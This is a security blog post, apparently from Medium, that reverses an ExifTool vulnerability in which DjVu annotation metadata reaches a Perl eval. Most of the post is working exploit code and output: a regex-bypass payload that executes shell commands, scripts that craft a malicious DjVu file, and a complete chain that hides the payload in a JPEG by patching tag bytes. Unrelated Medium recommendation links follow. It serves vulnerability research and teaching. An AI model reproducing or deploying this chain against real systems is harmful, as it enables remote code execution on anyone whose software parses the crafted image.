An Image Speaks a Thousand RCEs: The Tale of Reversing an ExifTool CVE

The code that fixes the vulnerability

Understanding the code

# must protect unescaped $ and @ symbols, and \ at end of string            
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text) $tok = eval qq{"$tok"};
s  {\\(.)|([\$\@]|\\$)}  {'\\'.($2 || $1)}    s g e
│ │ │ │ │ │
│ └────────┬─────────┘ └───────┬───────┘ └─┬─┘
│ search pattern replace pattern modifiers

└──── stands for "substitution"
\\                   # match a literal backslash (\)
( # begin first capturing group
. # match any character except newlines
) # end first capturing group
| # OR

( # begin second capturing group
[\$\@] # match either $ or @ once
| # OR
\\$ # match a trailing backslash (\)
) # end second capturing group
'\\'.($2 || $1)
  • Strings in <ANY_CHARACTER> format would not have any change (for example, \n would still be \n).
  • $and @ characters would be escaped as \$ and \@, respectively.
  • Trailing backslash would be escaped as \\.
use warnings;
use strict;
my $str = do { local $/; <STDIN> };my $dataPt = \$str;# match first non-space character
$$dataPt =~ /(\S)/sg;
my $tok = '';for (;;) {
my $pos = pos($$dataPt);
# exit if there is no quote
die unless $$dataPt =~ /"/sg;
# find token before next quote
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# ensure quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
# quote is part of the string
$tok .= '"';
}
print "«Input»\n$tok\n";
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
print "«Before eval»\n\"$tok\"\n";
$tok = eval qq{"$tok"};
print "«Result»\n$tok\n";

How the script works

last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok = eval qq{"$tok"};

Bypassing the regex

  • The input needs to contain at least a single double quote.
  • If escaped by an odd number of backslashes, the script does not add the additional quotes to the token.
  • $, @ and trailing backslashes will be escaped
$ perl test.pl < payload
«Input»
`id`
«Before eval»
" `id` "
«Result»
`id`
"\
"#"
«Input»
\
"#
«Before eval»
"\
"#"
«Result»
"\
" . `id` #"
«Input»
\
".`id`#
«Before eval»
"\
".`id`#"
«Result»
uid=1000(amal) gid=1000(amal) groups=1000(amal)

Finding an injection point

Usage: cjb2 [options] <input-pbm-or-tiff> <output-djvu>
printf 'P1 1 1 1' > input.pbm
cjb2 input.pbm mask.djvu
djvumake exploit.djvu Sjbz=mask.djvu
# Process DjVu annotation chunk (ANTa or decoded ANTz)

sub ProcessAnt($$$)
{
my ($et, $dirInfo, $tagTablePtr) = @_;
my $dataPt = $$dirInfo{DataPt};
# quick pre-scan to check for metadata or XMP
return 1 unless $$dataPt =~ /\(\s*(metadata|xmp)[\s("]/s;
# parse annotations into a tree structure
pos($$dataPt) = 0;
my $toks = ParseAnt($dataPt) or return 0;
# more code
# <...snip...>
}
$ djvused exploit.djvu 
create-shared-ant
set-ant
(metadata (title "Hello"))
.
save
^Z
$ djvused exploit.djvu -e 'output-all'
select; remove-ant; remove-txt
# -------------------------
select "shared_anno.iff"
set-ant
(metadata (title "Hello"))
(metadata (copyright "\
" . `gnome-calculator` #"))
djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
$ exiftool exploit.djvu 
ExifTool Version Number : 12.16
File Name : exploit.djvu
Directory : .
File Size : 95 bytes
File Permissions : rw-r--r--
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Copyright : .uid=1000(amal) gid=1000(amal) groups=1000(amal)
Image Size : 1x1
Megapixels : 0.000001

Crafting a valid image

exiftool "-thumbnailimage<=exploit.djvu" sample.jpg
Warning: [Minor] Not a valid image for Olympus:ThumbnailImage
0 image files updated
1 image files unchanged
exiftool -b -ThumbnailImage exploit.djvu > thumbnail.jpg
exiftool "-ThumbnailImage<=thumbnail.jpg" new_image.jpg
exiftool -tagsfromfile exploit.djvu sample.jpg
sub ImageInfo($;@)
{
<snip>
$self->ParseArguments(@_); # parse our function arguments
$self->ExtractInfo(undef); # extract meta information from image
my $info = $self->GetInfo(undef); # get requested information
<snip>
}
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
A Tag ID is the computer-readable equivalent of a tag name, and is the identifier that is actually stored in the file.
-TAG[+-]<=DATFILE         -    Write tag value from contents of file
exiftool "-HasselBladExif<=exploit.djvu" sample.jpg
Warning: Sorry, HasselBladExif is not writable
Nothing to do.
use strict;
use warnings;
# hacky hack; not required if you're on Linux
use lib '/Users/amal/tools/exiftool/lib/';
use Image::ExifTool qw(GetTagTable);my $tagTablePtr = GetTagTable('Image::ExifTool::Exif::Main');for my $key (keys %$tagTablePtr) {
my $data = %$tagTablePtr{$key};
# get tag names that have Writable field as 'string'
print("$data->{Name}\n") if ref $data eq 'HASH' && ($data->{Writable} // '') eq 'string';
}
#!/bin/bashwhile read tag; do
echo -e "\n$tag" >> output.txt;
exiftool "-$tag<=exploit.djvu" sample.jpg &>> output.txt;
done < <(perl test.pl)
$ exiftool "-GeoTiffAsciiParams<=exploit.djvu" sample.jpg
1 image files updated
perl -0777 -pe 's/\x87\xb1/\xc5\x1b/' < sample.jpg > exploit.jpg
$ exiftool exploit.jpg

The Full Chain

# Download the image
wget -qO sample.jpg placekitten.com/200
# See file details
file sample.jpg
# Create the PBM image
printf 'P1 1 1 1' > input.pbm
# Create mask layer from PBM
cjb2 input.pbm mask.djvu
# Create a DJVU
djvumake exploit.djvu Sjbz=mask.djvu
# Create the payload file
echo -e '(metadata (copyright "\\\n" . `gnome-calculator` #"))' > input.txt
# Craft the exploit DJVU file with the payload
djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
# Embed DJVU file into the JPEG
exiftool '-GeoTiffAsciiParams<=exploit.djvu' sample.jpg
# Replace the bytes
perl -0777 -pe 's/\x87\xb1/\xc5\x1b/g' < sample.jpg > exploit.jpg
# Run exiftool with the malicious image!
exiftool exploit.jpg

See it live

--

--

--

Interested in technology.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Python Pandas- Powerful Web Framework

How to Hard Reset LG 402LG Spray

Hard Reset LG

How my team won the first Angular Nigeria hackathon

LITE STEP Airdrop of 1000 $LITE Tokens for free

Weekly Recap: April 11–17

Tesla Transporting Model Y Crossovers Out Of Giga Berlin For Delivery

Top 5 Forex Data API’s: TraderMade, OANDA, XE and Xignite

A simple way to clean up your git project branches

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Amal Murali

Amal Murali

Interested in technology.

More from Medium

The New King “Broken Access Control”

Saturday Morning Bugs

The Dirty Pipe Vulnerability (CVE-2022–0847) gives Unprivileged Users Root Access

Making Sense Of The Dirty Pipe Vulnerability (CVE-2022–0847) — RedHunt Labs